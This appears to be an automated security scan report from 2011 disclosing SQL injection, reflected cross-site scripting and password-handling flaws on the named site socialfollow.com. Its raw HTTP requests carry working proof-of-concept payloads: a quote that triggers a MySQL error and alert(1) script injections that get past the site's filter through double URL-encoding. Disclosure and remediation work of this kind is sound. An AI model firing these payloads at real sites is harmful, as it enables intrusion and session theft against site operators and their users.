XSS, DORK, SQL Injection, socialfollow.com, CWE-79, CWE-89

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Report generated by XSS.CX at Mon Apr 18 10:28:52 CDT 2011.


XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home | XSS.CX Research Blog

Loading

1. SQL injection

2. Cross-site scripting (reflected)

2.1. http://www.socialfollow.com/button/ [b parameter]

2.2. http://www.socialfollow.com/button/ [b parameter]

2.3. http://www.socialfollow.com/button/css/ [b parameter]

2.4. http://www.socialfollow.com/button/css/ [socialSites parameter]

2.5. http://www.socialfollow.com/login.php [tEmail parameter]

3. Cleartext submission of password

3.1. http://www.socialfollow.com/

3.2. http://www.socialfollow.com/

3.3. http://www.socialfollow.com/login.php

3.4. http://www.socialfollow.com/login.php

4. Password returned in later response

5. Cookie without HttpOnly flag set

6. Password field with autocomplete enabled

6.1. http://www.socialfollow.com/

6.2. http://www.socialfollow.com/

6.3. http://www.socialfollow.com/login.php

6.4. http://www.socialfollow.com/login.php

7. HTML does not specify charset

7.1. http://www.socialfollow.com/js/flash-detect.js

7.2. http://www.socialfollow.com/js/jquery.js

7.3. http://www.socialfollow.com/js/thickbox.js

7.4. http://www.socialfollow.com/js/validator.js

8. Content type incorrectly stated

8.1. http://www.socialfollow.com/js/flash-detect.js

8.2. http://www.socialfollow.com/js/jquery.js

8.3. http://www.socialfollow.com/js/thickbox.js

8.4. http://www.socialfollow.com/js/validator.js



1. SQL injection  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.socialfollow.com
Path:   /button/image/

Issue detail

The b parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the b parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Remediation background

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

Request

GET /button/image/?b=1649' HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www3.ipass.com/mobile-employees/find-a-hotspot/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 14:35:09 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Content-Length: 1288
Content-Type: text/html

<br />
<b>Warning</b>: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in <b>/var/www/vhosts/socialfollow.com/httpdocs/button/image/index.php</b> on line <b>3</b><br />
<b
...[SNIP]...

2. Cross-site scripting (reflected)  previous  next
There are 5 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. http://www.socialfollow.com/button/ [b parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.socialfollow.com
Path:   /button/

Issue detail

The value of the b request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload fbcdd%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef42c8360436 was submitted in the b parameter. This input was echoed as fbcdd><script>alert(1)</script>f42c8360436 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the b request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /button/?b=1649fbcdd%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef42c8360436 HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www3.ipass.com/mobile-employees/find-a-hotspot/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 14:35:10 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Content-Type: text/javascript
Content-Length: 11768

<br/><b>Warning</b>:mysql_num_rows():supplied argument is not a valid MySQL result resource in<b>/var/www/vhosts/socialfollow.com/httpdocs/button/social-follow.php</b>on line<b>6</b><br/><br/><b>Warni
...[SNIP]...
nimatedegree=(1-Math.cos((elapsed/this.effects.fade.duration)*Math.PI))/2;},setcss:function(param){for(prop in param){this.style[prop]=param[prop];}},hidemenu:function(menuid){var menu=socialfollow1649fbcdd><script>alert(1)</script>f42c8360436.menusmap[menuid];clearInterval(menu.animatetimer);menu.dropmenu.setcss({visibility:'hidden',left:0,top:0});menu.shadow.setcss({visibility:'hidden',left:0,top:0});},getElementsByClass:function(targetcl
...[SNIP]...

2.2. http://www.socialfollow.com/button/ [b parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.socialfollow.com
Path:   /button/

Issue detail

The value of the b request parameter is copied into the HTML document as plain text between tags. The payload b5bdb%253cscript%253ealert%25281%2529%253c%252fscript%253ee78b4c98452 was submitted in the b parameter. This input was echoed as b5bdb<script>alert(1)</script>e78b4c98452 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the b request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /button/?b=1649b5bdb%253cscript%253ealert%25281%2529%253c%252fscript%253ee78b4c98452 HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www3.ipass.com/mobile-employees/find-a-hotspot/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 14:35:11 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Content-Type: text/javascript
Content-Length: 11739

<br/><b>Warning</b>:mysql_num_rows():supplied argument is not a valid MySQL result resource in<b>/var/www/vhosts/socialfollow.com/httpdocs/button/social-follow.php</b>on line<b>6</b><br/><br/><b>Warni
...[SNIP]...
<br/>var menu1649b5bdb<script>alert(1)</script>e78b4c98452={divclass:'sociallinks1649b5bdb<script>
...[SNIP]...

2.3. http://www.socialfollow.com/button/css/ [b parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.socialfollow.com
Path:   /button/css/

Issue detail

The value of the b request parameter is copied into the HTML document as plain text between tags. The payload 48b8b<a%20b%3dc>fb616593d15 was submitted in the b parameter. This input was echoed as 48b8b<a b=c>fb616593d15 in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /button/css/?b=164948b8b<a%20b%3dc>fb616593d15&n=10&socialSites=72%3Adigg.gif%7C75%3Afacebook.gif%7C106%3Atwitter.png%7C169%3Asocial-follow.png%7C120%3Alinkedin.gif%7C71%3Adelicious.gif%7C208%3Astumbleupon.gif%7C113%3Ayoutube.gif%7C81%3Ahubpages.png%7C167%3Agoogle-profile.png HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www3.ipass.com/mobile-employees/find-a-hotspot/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 14:35:19 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Content-Length: 5044
Content-Type: text/css

div.sociallinks164948b8b<a b=c>fb616593d15{position:absolute;left:0;top:0;visibility:hidden;display:block;padding:10px 1px 1px 1px;font:normal 12px Arial, Helvetica, sans-serif;z-index:10000;border:1px solid #cfcfd0;background:#FFFFFF;width:35
...[SNIP]...

2.4. http://www.socialfollow.com/button/css/ [socialSites parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.socialfollow.com
Path:   /button/css/

Issue detail

The value of the socialSites request parameter is copied into the HTML document as plain text between tags. The payload e88bc%253cscript%253ealert%25281%2529%253c%252fscript%253ed0c2c44a872 was submitted in the socialSites parameter. This input was echoed as e88bc<script>alert(1)</script>d0c2c44a872 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the socialSites request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /button/css/?b=1649&n=10&socialSites=72%3Adigg.gif%7C75%3Afacebook.gif%7C106%3Atwitter.png%7C169%3Asocial-follow.png%7C120%3Alinkedin.gif%7C71%3Adelicious.gif%7C208%3Astumbleupon.gif%7C113%3Ayoutube.gif%7C81%3Ahubpages.png%7C167%3Agoogle-profile.pnge88bc%253cscript%253ealert%25281%2529%253c%252fscript%253ed0c2c44a872 HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www3.ipass.com/mobile-employees/find-a-hotspot/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 14:35:36 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Content-Length: 4395
Content-Type: text/css

div.sociallinks1649{position:absolute;left:0;top:0;visibility:hidden;display:block;padding:10px 1px 1px 1px;font:normal 12px Arial, Helvetica, sans-serif;z-index:10000;border:1px solid #cfcfd0;backgro
...[SNIP]...
eat top left;}
li a.c81{background:url(http://www.socialfollow.com/button/images/hubpages.png) no-repeat top left;}
li a.c167{background:url(http://www.socialfollow.com/button/images/google-profile.pnge88bc<script>alert(1)</script>d0c2c44a872) no-repeat top left;}
#sfWrapper1649 .paddingSmall, div.sociallinks1649 .paddingSmall{padding-right:2px;#padding-right:0;clear: all;}
.socialFollowLink{width:100%;display:block;border:1px solid #D6D6D
...[SNIP]...

2.5. http://www.socialfollow.com/login.php [tEmail parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.socialfollow.com
Path:   /login.php

Issue detail

The value of the tEmail request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c46ea"><a%20b%3dc>f618323402a was submitted in the tEmail parameter. This input was echoed as c46ea\"><a b=c>f618323402a in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

POST /login.php HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/
Cache-Control: max-age=0
Origin: http://www.socialfollow.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e8cc38ceb90f5b9aed64b628c2c57c25; __utmz=131048717.1303137471.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=131048717.787483735.1303137471.1303137471.1303137471.1; __utmc=131048717; __utmb=131048717.1.10.1303137471
Content-Length: 31

tEmail=Emailc46ea"><a%20b%3dc>f618323402a&pPassword=Password

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 14:37:08 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 4520
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<input name="tEmail" id="tEmail" type="text" value="Emailc46ea\"><a b=c>f618323402a" class="textBoxSize" />
...[SNIP]...

3. Cleartext submission of password  previous  next
There are 4 instances of this issue:

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.


3.1. http://www.socialfollow.com/  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.socialfollow.com
Path:   /

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Request

GET / HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 14:36:58 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Set-Cookie: PHPSESSID=8a0660a226177c6e891485ce1d17b5bb; expires=Mon, 18 Apr 2011 16:36:58 GMT; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 7330
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<br />
               <form method="post" name="fTopLogin" action="/login.php">
                   <input name="tEmail" id="tEmail" type="text" value="Email" onfocus="if('Email'==this.value)this.value=''" onblur="if(''==this.value)this.value='Email'" />
                   <input name="pPassword" id="pPassword" type="password" value="Password" onfocus="if('Password'==this.value)this.value=''" onblur="if(''==this.value)this.value='Password'" />
                   <input type="submit" value="Login" class="button" />
...[SNIP]...

3.2. http://www.socialfollow.com/  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.socialfollow.com
Path:   /

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password fields:

Request

GET / HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 14:36:58 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Set-Cookie: PHPSESSID=8a0660a226177c6e891485ce1d17b5bb; expires=Mon, 18 Apr 2011 16:36:58 GMT; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 7330
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
</h1>
       <form method="post" name="fRegister" action="/register.php">
       <table>
...[SNIP]...
<td><input name="tPassword" id="tPassword" type="password" value="" class="textBoxSize" maxlength="32" /></td>
...[SNIP]...
<td><input name="tRePassword" type="password" id="tRePassword" class="textBoxSize" maxlength="32" /></td>
...[SNIP]...

3.3. http://www.socialfollow.com/login.php  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.socialfollow.com
Path:   /login.php

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Request

POST /login.php HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/
Cache-Control: max-age=0
Origin: http://www.socialfollow.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e8cc38ceb90f5b9aed64b628c2c57c25; __utmz=131048717.1303137471.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=131048717.787483735.1303137471.1303137471.1303137471.1; __utmc=131048717; __utmb=131048717.1.10.1303137471
Content-Length: 31

tEmail=Email&pPassword=Password

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 14:37:05 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 4494
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
</p>
   <form method="post" name="fLogin" action="">
   <table>
...[SNIP]...
<td><input name="pPassword" id="pPassword" type="password" class="textBoxSize" /></td>
...[SNIP]...

3.4. http://www.socialfollow.com/login.php  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.socialfollow.com
Path:   /login.php

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Request

POST /login.php HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/
Cache-Control: max-age=0
Origin: http://www.socialfollow.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e8cc38ceb90f5b9aed64b628c2c57c25; __utmz=131048717.1303137471.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=131048717.787483735.1303137471.1303137471.1303137471.1; __utmc=131048717; __utmb=131048717.1.10.1303137471
Content-Length: 31

tEmail=Email&pPassword=Password

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 14:37:05 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 4494
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<br />
               <form method="post" name="fTopLogin" action="/login.php">
                   <input name="tEmail" id="tEmail" type="text" value="Email" onfocus="if('Email'==this.value)this.value=''" onblur="if(''==this.value)this.value='Email'" />
                   <input name="pPassword" id="pPassword" type="password" value="Password" onfocus="if('Password'==this.value)this.value=''" onblur="if(''==this.value)this.value='Password'" />
                   <input type="submit" value="Login" class="button" />
...[SNIP]...

4. Password returned in later response  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://www.socialfollow.com
Path:   /

Issue description

Passwords submitted to the application are returned in clear form in later responses from the application. This behaviour increases the risk that users' passwords will be captured by an attacker. Many types of vulnerability, such as weaknesses in session handling, broken access controls, and cross-site scripting, would enable an attacker to leverage this behaviour to retrieve the passwords of other application users. This possibility typically exacerbates the impact of those other vulnerabilities, and in some situations can enable an attacker to quickly compromise the entire application.

Issue remediation

There is usually no good reason for an application to return users' passwords in its responses. This behaviour should be removed from the application.

Request 1

POST /login.php HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
Referer: http://www.socialfollow.com/
Cache-Control: max-age=0
Origin: http://www.socialfollow.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e8cc38ceb90f5b9aed64b628c2c57c25; __utmz=131048717.1303137471.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=131048717.787483735.1303137471.1303137471.1303137471.1; __utmc=131048717; __utmb=131048717.1.10.1303137471
Content-Length: 31

tEmail=Email&pPassword=Password

Response 1

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 14:37:05 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 4494
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...

Request 2

GET / HTTP/1.1
Host: www.socialfollow.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 14:48:28 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
